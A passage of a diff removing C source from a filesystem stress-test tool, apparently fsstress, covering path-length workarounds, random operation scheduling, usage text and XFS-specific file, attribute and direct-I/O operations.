-		namerand = random();
-	for (opno = 0; opno < operations; opno++) {
-		p = &ops[freq_table[random() % freq_table_size]];
-		if ((unsigned long)p->func < 4096)
-			abort();
-
-		p->func(opno, random());
-		/*
-		 * test for forced shutdown by stat'ing the test
-		 * directory.  If this stat returns EIO, assume
-		 * the forced shutdown happened.
-		 */
-		if (errtag != 0 && opno % 100 == 0) {
-			rval = stat64(".", &statbuf);
-			if (rval == EIO) {
-				fprintf(stderr, "Detected EIO\n");
-				return;
-			}
-		}
-	}
-}
-
-void fent_to_name(pathname_t * name, flist_t * flp, fent_t * fep)
-{
-	char buf[MAXNAMELEN];
-	int i;
-	fent_t *pfep;
-
-	if (fep == NULL)
-		return;
-	if (fep->parent != -1) {
-		pfep = dirid_to_fent(fep->parent);
-		fent_to_name(name, &flist[FT_DIR], pfep);
-		append_pathname(name, "/");
-	}
-	i = sprintf(buf, "%c%x", flp->tag, fep->id);
-	namerandpad(fep->id, buf, i);
-	append_pathname(name, buf);
-}
-
-void fix_parent(int oldid, int newid)
-{
-	fent_t *fep;
-	flist_t *flp;
-	int i;
-	int j;
-
-	for (i = 0, flp = flist; i < FT_nft; i++, flp++) {
-		for (j = 0, fep = flp->fents; j < flp->nfiles; j++, fep++) {
-			if (fep->parent == oldid)
-				fep->parent = newid;
-		}
-	}
-}
-
-void free_pathname(pathname_t * name)
-{
-	if (name->path) {
-		free(name->path);
-		name->path = NULL;
-		name->len = 0;
-	}
-}
-
-int generate_fname(fent_t * fep, int ft, pathname_t * name, int *idp, int *v)
-{
-	char buf[MAXNAMELEN];
-	flist_t *flp;
-	int id;
-	int j;
-	int len;
-
-	flp = &flist[ft];
-	len = sprintf(buf, "%c%x", flp->tag, id = nameseq++);
-	namerandpad(id, buf, len);
-	if (fep) {
-		fent_to_name(name, &flist[FT_DIR], fep);
-		append_pathname(name, "/");
-	}
-	append_pathname(name, buf);
-	*idp = id;
-	*v = verbose;
-	for (j = 0; !*v && j < ilistlen; j++) {
-		if (ilist[j] == id) {
-			*v = 1;
-			break;
-		}
-	}
-	return 1;
-}
-
-int
-get_fname(int which, long r, pathname_t * name, flist_t ** flpp, fent_t ** fepp,
-	  int *v)
-{
-	int c;
-	fent_t *fep;
-	flist_t *flp;
-	int i;
-	int j;
-	int x;
-
-	for (i = 0, c = 0, flp = flist; i < FT_nft; i++, flp++) {
-		if (which & (1 << i))
-			c += flp->nfiles;
-	}
-	if (c == 0) {
-		if (flpp)
-			*flpp = NULL;
-		if (fepp)
-			*fepp = NULL;
-		*v = verbose;
-		return 0;
-	}
-	x = (int)(r % c);
-	for (i = 0, c = 0, flp = flist; i < FT_nft; i++, flp++) {
-		if (which & (1 << i)) {
-			if (x < c + flp->nfiles) {
-				fep = &flp->fents[x - c];
-				if (name)
-					fent_to_name(name, flp, fep);
-				if (flpp)
-					*flpp = flp;
-				if (fepp)
-					*fepp = fep;
-				*v = verbose;
-				for (j = 0; !*v && j < ilistlen; j++) {
-					if (ilist[j] == fep->id) {
-						*v = 1;
-						break;
-					}
-				}
-				return 1;
-			}
-			c += flp->nfiles;
-		}
-	}
-#ifdef DEBUG
-	fprintf(stderr, "fsstress: get_fname failure\n");
-	abort();
-#endif
-	return -1;
-
-}
-
-void init_pathname(pathname_t * name)
-{
-	name->len = 0;
-	name->path = NULL;
-}
-
-int lchown_path(pathname_t * name, uid_t owner, gid_t group)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = lchown(name->path, owner, group);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = lchown_path(&newname, owner, group);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-int link_path(pathname_t * name1, pathname_t * name2)
-{
-	char buf1[MAXNAMELEN];
-	char buf2[MAXNAMELEN];
-	int down1;
-	pathname_t newname1;
-	pathname_t newname2;
-	int rval;
-
-	rval = link(name1->path, name2->path);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name1, buf1, &newname1);
-	separate_pathname(name2, buf2, &newname2);
-	if (strcmp(buf1, buf2) == 0) {
-		if (chdir(buf1) == 0) {
-			rval = link_path(&newname1, &newname2);
-			chdir("..");
-		}
-	} else {
-		if (strcmp(buf1, "..") == 0)
-			down1 = 0;
-		else if (strcmp(buf2, "..") == 0)
-			down1 = 1;
-		else if (strlen(buf1) == 0)
-			down1 = 0;
-		else if (strlen(buf2) == 0)
-			down1 = 1;
-		else
-			down1 = MAX(newname1.len, 3 + name2->len) <=
-			    MAX(3 + name1->len, newname2.len);
-		if (down1) {
-			free_pathname(&newname2);
-			append_pathname(&newname2, "../");
-			append_pathname(&newname2, name2->path);
-			if (chdir(buf1) == 0) {
-				rval = link_path(&newname1, &newname2);
-				chdir("..");
-			}
-		} else {
-			free_pathname(&newname1);
-			append_pathname(&newname1, "../");
-			append_pathname(&newname1, name1->path);
-			if (chdir(buf2) == 0) {
-				rval = link_path(&newname1, &newname2);
-				chdir("..");
-			}
-		}
-	}
-	free_pathname(&newname1);
-	free_pathname(&newname2);
-	return rval;
-}
-
-int lstat64_path(pathname_t * name, struct stat64 *sbuf)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = lstat64(name->path, sbuf);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = lstat64_path(&newname, sbuf);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-void make_freq_table(void)
-{
-	int f;
-	int i;
-	opdesc_t *p;
-
-	for (p = ops, f = 0; p < ops_end; p++)
-		f += p->freq;
-	freq_table = malloc(f * sizeof(*freq_table));
-	freq_table_size = f;
-	for (p = ops, i = 0; p < ops_end; p++) {
-		for (f = 0; f < p->freq; f++, i++)
-			freq_table[i] = p->op;
-	}
-}
-
-int mkdir_path(pathname_t * name, mode_t mode)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = mkdir(name->path, mode);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = mkdir_path(&newname, mode);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-int mknod_path(pathname_t * name, mode_t mode, dev_t dev)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = mknod(name->path, mode, dev);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = mknod_path(&newname, mode, dev);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-void namerandpad(int id, char *buf, int i)
-{
-	int bucket;
-	static int buckets[] = { 2, 4, 8, 16, 32, 64, 128, MAXNAMELEN - 1 };
-	int padlen;
-	int padmod;
-
-	if (namerand == 0)
-		return;
-	bucket = (id ^ namerand) % (sizeof(buckets) / sizeof(buckets[0]));
-	padmod = buckets[bucket] + 1 - i;
-	if (padmod <= 0)
-		return;
-	padlen = (id ^ namerand) % padmod;
-	if (padlen) {
-		memset(&buf[i], 'X', padlen);
-		buf[i + padlen] = '\0';
-	}
-}
-
-int open_path(pathname_t * name, int oflag)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = open(name->path, oflag);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = open_path(&newname, oflag);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-DIR *opendir_path(pathname_t * name)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	DIR *rval;
-
-	rval = opendir(name->path);
-	if (rval || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = opendir_path(&newname);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-void process_freq(char *arg)
-{
-	opdesc_t *p;
-	char *s;
-
-	s = strchr(arg, '=');
-	if (s == NULL) {
-		fprintf(stderr, "bad argument '%s'\n", arg);
-		exit(1);
-	}
-	*s++ = '\0';
-	for (p = ops; p < ops_end; p++) {
-		if (strcmp(arg, p->name) == 0) {
-			p->freq = atoi(s);
-			return;
-		}
-	}
-	fprintf(stderr, "can't find op type %s for -f\n", arg);
-	exit(1);
-}
-
-int readlink_path(pathname_t * name, char *lbuf, size_t lbufsiz)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = readlink(name->path, lbuf, lbufsiz);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = readlink_path(&newname, lbuf, lbufsiz);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-int rename_path(pathname_t * name1, pathname_t * name2)
-{
-	char buf1[MAXNAMELEN];
-	char buf2[MAXNAMELEN];
-	int down1;
-	pathname_t newname1;
-	pathname_t newname2;
-	int rval;
-
-	rval = rename(name1->path, name2->path);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name1, buf1, &newname1);
-	separate_pathname(name2, buf2, &newname2);
-	if (strcmp(buf1, buf2) == 0) {
-		if (chdir(buf1) == 0) {
-			rval = rename_path(&newname1, &newname2);
-			chdir("..");
-		}
-	} else {
-		if (strcmp(buf1, "..") == 0)
-			down1 = 0;
-		else if (strcmp(buf2, "..") == 0)
-			down1 = 1;
-		else if (strlen(buf1) == 0)
-			down1 = 0;
-		else if (strlen(buf2) == 0)
-			down1 = 1;
-		else
-			down1 = MAX(newname1.len, 3 + name2->len) <=
-			    MAX(3 + name1->len, newname2.len);
-		if (down1) {
-			free_pathname(&newname2);
-			append_pathname(&newname2, "../");
-			append_pathname(&newname2, name2->path);
-			if (chdir(buf1) == 0) {
-				rval = rename_path(&newname1, &newname2);
-				chdir("..");
-			}
-		} else {
-			free_pathname(&newname1);
-			append_pathname(&newname1, "../");
-			append_pathname(&newname1, name1->path);
-			if (chdir(buf2) == 0) {
-				rval = rename_path(&newname1, &newname2);
-				chdir("..");
-			}
-		}
-	}
-	free_pathname(&newname1);
-	free_pathname(&newname2);
-	return rval;
-}
-
-int rmdir_path(pathname_t * name)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = rmdir(name->path);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = rmdir_path(&newname);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-void separate_pathname(pathname_t * name, char *buf, pathname_t * newname)
-{
-	char *slash;
-
-	init_pathname(newname);
-	slash = strchr(name->path, '/');
-	if (slash == NULL) {
-		buf[0] = '\0';
-		return;
-	}
-	*slash = '\0';
-	strcpy(buf, name->path);
-	*slash = '/';
-	append_pathname(newname, slash + 1);
-}
-
-#define WIDTH 80
-
-void show_ops(int flag, char *lead_str)
-{
-	opdesc_t *p;
-
-	if (flag < 0) {
-		/* print in list form */
-		int x = WIDTH;
-
-		for (p = ops; p < ops_end; p++) {
-			if (lead_str != NULL
-			    && x + strlen(p->name) >= WIDTH - 5)
-				x = printf("%s%s", (p == ops) ? "" : "\n",
-					   lead_str);
-			x += printf("%s ", p->name);
-		}
-		printf("\n");
-	} else {
-		int f;
-		for (f = 0, p = ops; p < ops_end; p++)
-			f += p->freq;
-
-		if (f == 0)
-			flag = 1;
-
-		for (p = ops; p < ops_end; p++) {
-			if (flag != 0 || p->freq > 0) {
-				if (lead_str != NULL)
-					printf("%s", lead_str);
-				printf("%20s %d/%d %s\n",
-				       p->name, p->freq, f,
-				       (p->iswrite == 0) ? " " : "write op");
-			}
-		}
-	}
-}
-
-int stat64_path(pathname_t * name, struct stat64 *sbuf)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = stat64(name->path, sbuf);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = stat64_path(&newname, sbuf);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-int symlink_path(const char *name1, pathname_t * name)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	if (!strcmp(name1, name->path)) {
-		printf("yikes! %s %s\n", name1, name->path);
-		return 0;
-	}
-
-	rval = symlink(name1, name->path);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = symlink_path(name1, &newname);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-int truncate64_path(pathname_t * name, off64_t length)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = truncate64(name->path, length);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = truncate64_path(&newname, length);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-int unlink_path(pathname_t * name)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = unlink(name->path);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = unlink_path(&newname);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-void usage(void)
-{
-	printf("Usage: %s -H   or\n", myprog);
-	printf
-	    ("       %s [-c][-d dir][-e errtg][-f op_name=freq][-l loops][-n nops]\n",
-	     myprog);
-	printf("          [-p nproc][-r len][-s seed][-v][-w][-z][-S]\n");
-	printf("where\n");
-	printf
-	    ("   -c               specifies not to remove files(cleanup) after execution\n");
-	printf
-	    ("   -d dir           specifies the base directory for operations\n");
-	printf("   -e errtg         specifies error injection stuff\n");
-	printf
-	    ("   -f op_name=freq  changes the frequency of option name to freq\n");
-	printf("                    the valid operation names are:\n");
-	show_ops(-1, "                        ");
-	printf
-	    ("   -l loops         specifies the no. of times the testrun should loop.\n");
-	printf("                     *use 0 for infinite (default 1)\n");
-	printf
-	    ("   -n nops          specifies the no. of operations per process (default 1)\n");
-	printf
-	    ("   -p nproc         specifies the no. of processes (default 1)\n");
-	printf("   -r               specifies random name padding\n");
-	printf
-	    ("   -s seed          specifies the seed for the random generator (default random)\n");
-	printf("   -v               specifies verbose mode\n");
-	printf
-	    ("   -w               zeros frequencies of non-write operations\n");
-	printf("   -z               zeros frequencies of all operations\n");
-	printf
-	    ("   -S               prints the table of operations (omitting zero frequency)\n");
-	printf("   -H               prints usage and exits\n");
-	printf
-	    ("   -X               don't do anything XFS specific (default with -DNO_XFS)\n");
-}
-
-void write_freq(void)
-{
-	opdesc_t *p;
-
-	for (p = ops; p < ops_end; p++) {
-		if (!p->iswrite)
-			p->freq = 0;
-	}
-}
-
-void zero_freq(void)
-{
-	opdesc_t *p;
-
-	for (p = ops; p < ops_end; p++)
-		p->freq = 0;
-}
-
-#ifndef NO_XFS
-
-void allocsp_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	int fd;
-	struct flock64 fl;
-	int64_t lr;
-	off64_t off;
-	struct stat64 stb;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) {
-		if (v)
-			printf("%d/%d: allocsp - no filename\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	fd = open_path(&f, O_RDWR);
-	e = fd < 0 ? errno : 0;
-	check_cwd();
-	if (fd < 0) {
-		if (v)
-			printf("%d/%d: allocsp - open %s failed %d\n",
-			       procid, opno, f.path, e);
-		free_pathname(&f);
-		return;
-	}
-	if (fstat64(fd, &stb) < 0) {
-		if (v)
-			printf("%d/%d: allocsp - fstat64 %s failed %d\n",
-			       procid, opno, f.path, errno);
-		free_pathname(&f);
-		close(fd);
-		return;
-	}
-	lr = ((int64_t) random() << 32) + random();
-	off = (off64_t) (lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE));
-	off %= maxfsize;
-	fl.l_whence = SEEK_SET;
-	fl.l_start = off;
-	fl.l_len = 0;
-	e = ioctl(fd, XFS_IOC_ALLOCSP64, &fl) < 0 ? errno : 0;
-	if (v)
-		printf("%d/%d: ioctl(XFS_IOC_ALLOCSP64) %s %lld 0 %d\n",
-		       procid, opno, f.path, off, e);
-	free_pathname(&f);
-	close(fd);
-}
-
-void attr_remove_f(int opno, long r)
-{
-	attrlist_ent_t *aep;
-	attrlist_t *alist;
-	char *aname;
-	char buf[4096];
-	attrlist_cursor_t cursor;
-	int e;
-	int ent;
-	pathname_t f;
-	int total;
-	int v;
-	int which;
-
-	init_pathname(&f);
-	if (!get_fname(FT_ANYm, r, &f, NULL, NULL, &v))
-		append_pathname(&f, ".");
-	total = 0;
-	memset(&cursor, 0x00, sizeof(cursor));
-	do {
-		e = attr_list_path(&f, buf, sizeof(buf), ATTR_DONTFOLLOW,
-				   &cursor);
-		check_cwd();
-		if (e)
-			break;
-		alist = (attrlist_t *) buf;
-		total += alist->al_count;
-	} while (alist->al_more);
-	if (total == 0) {
-		if (v)
-			printf("%d/%d: attr_remove - no attrs for %s\n",
-			       procid, opno, f.path);
-		free_pathname(&f);
-		return;
-	}
-	which = (int)(random() % total);
-	memset(&cursor, 0x00, sizeof(cursor));
-	ent = 0;
-	aname = NULL;
-	do {
-		e = attr_list_path(&f, buf, sizeof(buf), ATTR_DONTFOLLOW,
-				   &cursor);
-		check_cwd();
-		if (e)
-			break;
-		alist = (attrlist_t *) buf;
-		if (which < ent + alist->al_count) {
-			aep = (attrlist_ent_t *)
-			    & buf[alist->al_offset[which - ent]];
-			aname = aep->a_name;
-			break;
-		}
-		ent += alist->al_count;
-	} while (alist->al_more);
-	if (aname == NULL) {
-		if (v)
-			printf("%d/%d: attr_remove - name %d not found at %s\n",
-			       procid, opno, which, f.path);
-		free_pathname(&f);
-		return;
-	}
-	e = attr_remove_path(&f, aname, ATTR_DONTFOLLOW) < 0 ? errno : 0;
-	check_cwd();
-	if (v)
-		printf("%d/%d: attr_remove %s %s %d\n",
-		       procid, opno, f.path, aname, e);
-	free_pathname(&f);
-}
-
-void attr_set_f(int opno, long r)
-{
-	char aname[10];
-	char *aval;
-	int e;
-	pathname_t f;
-	int len;
-	static int lengths[] = { 10, 100, 1000, 10000 };
-	int li;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_ANYm, r, &f, NULL, NULL, &v))
-		append_pathname(&f, ".");
-	sprintf(aname, "a%x", nameseq++);
-	li = (int)(random() % (sizeof(lengths) / sizeof(lengths[0])));
-	len = (int)(random() % lengths[li]);
-	if (len == 0)
-		len = 1;
-	aval = malloc(len);
-	memset(aval, nameseq & 0xff, len);
-	e = attr_set_path(&f, aname, aval, len, ATTR_DONTFOLLOW) < 0 ?
-	    errno : 0;
-	check_cwd();
-	free(aval);
-	if (v)
-		printf("%d/%d: attr_set %s %s %d\n", procid, opno, f.path,
-		       aname, e);
-	free_pathname(&f);
-}
-
-void bulkstat_f(int opno, long r)
-{
-	int count;
-	int fd;
-	__uint64_t last;
-	int nent;
-	xfs_bstat_t *t;
-	int64_t total;
-	xfs_fsop_bulkreq_t bsr;
-
-	last = 0;
-	nent = (r % 999) + 2;
-	t = malloc(nent * sizeof(*t));
-	fd = open(".", O_RDONLY);
-	total = 0;
-
-	bsr.lastip = &last;
-	bsr.icount = nent;
-	bsr.ubuffer = t;
-	bsr.ocount = &count;
-
-	while (ioctl(fd, XFS_IOC_FSBULKSTAT, &bsr) == 0 && count > 0)
-		total += count;
-	free(t);
-	if (verbose)
-		printf("%d/%d: bulkstat nent %d total %lld\n",
-		       procid, opno, nent, total);
-	close(fd);
-}
-
-void bulkstat1_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	int fd;
-	int good;
-	__uint64_t ino;
-	struct stat64 s;
-	xfs_bstat_t t;
-	int v;
-	xfs_fsop_bulkreq_t bsr;
-
-	good = random() & 1;
-	if (good) {
-		/* use an inode we know exists */
-		init_pathname(&f);
-		if (!get_fname(FT_ANYm, r, &f, NULL, NULL, &v))
-			append_pathname(&f, ".");
-		ino = stat64_path(&f, &s) < 0 ? (ino64_t) r : s.st_ino;
-		check_cwd();
-		free_pathname(&f);
-	} else {
-		/*
-		 * pick a random inode
-		 *
-		 * note this can generate kernel warning messages
-		 * since bulkstat_one will read the disk block that
-		 * would contain a given inode even if that disk
-		 * block doesn't contain inodes.
-		 *
-		 * this is detected later, but not until after the
-		 * warning is displayed.
-		 *
-		 * "XFS: device 0x825- bad inode magic/vsn daddr 0x0 #0"
-		 *
-		 */
-		ino = (ino64_t) r;
-		v = verbose;
-	}
-	fd = open(".", O_RDONLY);
-
-	bsr.lastip = &ino;
-	bsr.icount = 1;
-	bsr.ubuffer = &t;
-	bsr.ocount = NULL;
-
-	e = ioctl(fd, XFS_IOC_FSBULKSTAT_SINGLE, &bsr) < 0 ? errno : 0;
-	if (v)
-		printf("%d/%d: bulkstat1 %s ino %lld %d\n",
-		       procid, opno, good ? "real" : "random", (int64_t) ino,
-		       e);
-	close(fd);
-}
-
-#endif
-
-void chown_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	int nbits;
-	uid_t u;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_ANYm, r, &f, NULL, NULL, &v))
-		append_pathname(&f, ".");
-	u = (uid_t) random();
-	nbits = (int)(random() % 32);
-	u &= (1 << nbits) - 1;
-	e = lchown_path(&f, u, -1) < 0 ? errno : 0;
-	check_cwd();
-	if (v)
-		printf("%d/%d: chown %s %d %d\n", procid, opno, f.path, u, e);
-	free_pathname(&f);
-}
-
-void creat_f(int opno, long r)
-{
-	int e;
-	int e1;
-	int extsize;
-	pathname_t f;
-	int fd;
-	fent_t *fep;
-	int id;
-	int parid;
-	int type;
-	int v;
-	int v1;
-	int esz = 0;
-
-	if (!get_fname(FT_DIRm, r, NULL, NULL, &fep, &v1))
-		parid = -1;
-	else
-		parid = fep->id;
-	init_pathname(&f);
-	type = rtpct ? ((random() % 100) > rtpct ? FT_REG : FT_RTF) : FT_REG;
-	if (type == FT_RTF)
-		extsize = (random() % 10) + 1;
-	else
-		extsize = 0;
-	e = generate_fname(fep, type, &f, &id, &v);
-	v |= v1;
-	if (!e) {
-		if (v) {
-			fent_to_name(&f, &flist[FT_DIR], fep);
-			printf("%d/%d: creat - no filename from %s\n",
-			       procid, opno, f.path);
-		}
-		free_pathname(&f);
-		return;
-	}
-	fd = creat_path(&f, 0666);
-	e = fd < 0 ? errno : 0;
-	e1 = 0;
-	check_cwd();
-	esz = 0;
-	if (fd >= 0) {
-#ifndef NO_XFS
-		struct fsxattr a;
-		if (extsize && ioctl(fd, XFS_IOC_FSGETXATTR, &a) >= 0) {
-			a.fsx_xflags |= XFS_XFLAG_REALTIME;
-			a.fsx_extsize =
-			    geom.rtextsize * geom.blocksize * extsize;
-			if (ioctl(fd, XFS_IOC_FSSETXATTR, &a) < 0)
-				e1 = errno;
-			esz = a.fsx_estsize;
-
-		}
-#endif
-		add_to_flist(type, id, parid);
-		close(fd);
-	}
-	if (v)
-		printf("%d/%d: creat %s x:%d %d %d\n", procid, opno, f.path,
-		       esz, e, e1);
-	free_pathname(&f);
-}
-
-int setdirect(int fd)
-{
-	static int no_direct;
-	int flags;
-
-	if (no_direct)
-		return 0;
-
-	flags = fcntl(fd, F_GETFL, 0);
-	if (flags < 0)
-		return 0;
-
-	if (fcntl(fd, F_SETFL, flags | O_DIRECT) < 0) {
-		if (no_xfs) {
-			no_direct = 1;
-			return 0;
-		}
-		printf("cannot set O_DIRECT: %s\n", strerror(errno));
-		return 0;
-	}
-
-	return 1;
-}
-
-void dread_f(int opno, long r)
-{
-	int64_t align;
-	char *buf;
-	struct dioattr diob;
-	int e;
-	pathname_t f;
-	int fd;
-	size_t len;
-	int64_t lr;
-	off64_t off;
-	struct stat64 stb;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) {
-		if (v)
-			printf("%d/%d: dread - no filename\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	fd = open_path(&f, O_RDONLY);
-
-	if (!setdirect(fd)) {
-		return;
-	}
-
-	e = fd < 0 ? errno : 0;
-	check_cwd();
-	if (fd < 0) {
-		if (v)
-			printf("%d/%d: dread - open %s failed %d\n",
-			       procid, opno, f.path, e);
-		free_pathname(&f);
-		return;
-	}
-	if (fstat64(fd, &stb) < 0) {
-		if (v)
-			printf("%d/%d: dread - fstat64 %s failed %d\n",
-			       procid, opno, f.path, errno);
-		free_pathname(&f);
-		close(fd);
-		return;
-	}
-	if (stb.st_size == 0) {
-		if (v)
-			printf("%d/%d: dread - %s zero size\n", procid, opno,
-			       f.path);
-		free_pathname(&f);
-		close(fd);
-		return;
-	}
-
-	if (no_xfs) {
-		diob.d_miniosz = stb.st_blksize;
-		diob.d_maxiosz = stb.st_blksize * 256;	/* good number ? */
-		diob.d_mem = stb.st_blksize;
-	}
-#ifndef NO_XFS
-	else if (ioctl(fd, XFS_IOC_DIOINFO, &diob) < 0) {
-		if (v)
-			printf
-			    ("%d/%d: dread - ioctl(fd, XFS_IOC_DIOINFO) %s failed %d\n",
-			     procid, opno, f.path, errno);
-		free_pathname(&f);
-		close(fd);
-		return;
-	}
-#endif
-	align = (int64_t) diob.d_miniosz;
-	lr = ((int64_t) random() << 32) + random();
-	off = (off64_t) (lr % stb.st_size);
-	off -= (off % align);
-	lseek64(fd, off, SEEK_SET);
-	len = (random() % (getpagesize() * 32)) + 1;
-	len -= (len % align);
-	if (len <= 0)
-		len = align;
-	else if (len > diob.d_maxiosz)
-		len = diob.d_maxiosz;
-	posix_memalign((void **)&buf, diob.d_mem, len);
-	e = read(fd, buf, len) < 0 ? errno : 0;
-	free(buf);
-	if (v)
-		printf("%d/%d: dread %s [%lld,%ld] %d\n",
-		       procid, opno, f.path, (long long int)off, (long)len, e);
-	free_pathname(&f);
-	close(fd);
-}
-
-void dwrite_f(int opno, long r)
-{
-	int64_t align;
-	char *buf;
-	struct dioattr diob;
-	int e;
-	pathname_t f;
-	int fd;
-	size_t len;
-	int64_t lr;
-	off64_t off;
-	struct stat64 stb;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) {
-		if (v)
-			printf("%d/%d: dwrite - no filename\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	fd = open_path(&f, O_WRONLY);
-	e = fd < 0 ? errno : 0;
-	check_cwd();
-	if (fd < 0) {
-		if (v)
-			printf("%d/%d: dwrite - open %s failed %d\n",
-			       procid, opno, f.path, e);
-		free_pathname(&f);
-		return;
-	}
-
-	if (!setdirect(fd))
-		return;
-	if (fstat64(fd, &stb) < 0) {
-		if (v)
-			printf("%d/%d: dwrite - fstat64 %s failed %d\n",
-			       procid, opno, f.path, errno);
-		free_pathname(&f);
-		close(fd);
-		return;
-	}
-	if (no_xfs) {
-		diob.d_miniosz = stb.st_blksize;
-		diob.d_maxiosz = stb.st_blksize * 256;	/* good number ? */
-		diob.d_mem = stb.st_blksize;
-	}
-#ifndef NO_XFS
-	else if (ioctl(fd, XFS_IOC_DIOINFO, &diob) < 0) {
-		if (v)
-			printf
-			    ("%d/%d: dwrite - ioctl(fd, XFS_IOC_DIOINFO) %s failed %d\n",
-			     procid, opno, f.path, errno);
-		free_pathname(&f);
-		close(fd);
-		return;
-	}
-#endif
-	align = (int64_t) diob.d_miniosz;
-	lr = ((int64_t) random() << 32) + random();
-	off = (off64_t) (lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE));
-	off -= (off % align);
-	lseek64(fd, off, SEEK_SET);
-	len = (random() % (getpagesize() * 32)) + 1;
-	len -= (len % align);
-	if (len <= 0)
-		len = align;
-	else if (len > diob.d_maxiosz)
-		len = diob.d_maxiosz;
-	posix_memalign((void **)&buf, diob.d_mem, len);
-	off %= maxfsize;
-	lseek64(fd, off, SEEK_SET);
-	memset(buf, nameseq & 0xff, len);
-	e = write(fd, buf, len) < 0 ? errno : 0;
-	free(buf);
-	if (v)
-		printf("%d/%d: dwrite %s [%lld,%ld] %d\n",
-		       procid, opno, f.path, (long long)off, (long int)len, e);
-	free_pathname(&f);
-	close(fd);
-}
-
-void fdatasync_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	int fd;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) {
-		if (v)
-			printf("%d/%d: fdatasync - no filename\n",
-			       procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	fd = open_path(&f, O_WRONLY);
-	e = fd < 0 ? errno : 0;
-	check_cwd();
-	if (fd < 0) {
-		if (v)
-			printf("%d/%d: fdatasync - open %s failed %d\n",
-			       procid, opno, f.path, e);
-		free_pathname(&f);
-		return;
-	}
-	e = fdatasync(fd) < 0 ? errno : 0;
-	if (v)
-		printf("%d/%d: fdatasync %s %d\n", procid, opno, f.path, e);
-	free_pathname(&f);
-	close(fd);
-}
-
-#ifndef NO_XFS
-void freesp_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	int fd;
-	struct flock64 fl;
-	int64_t lr;
-	off64_t off;
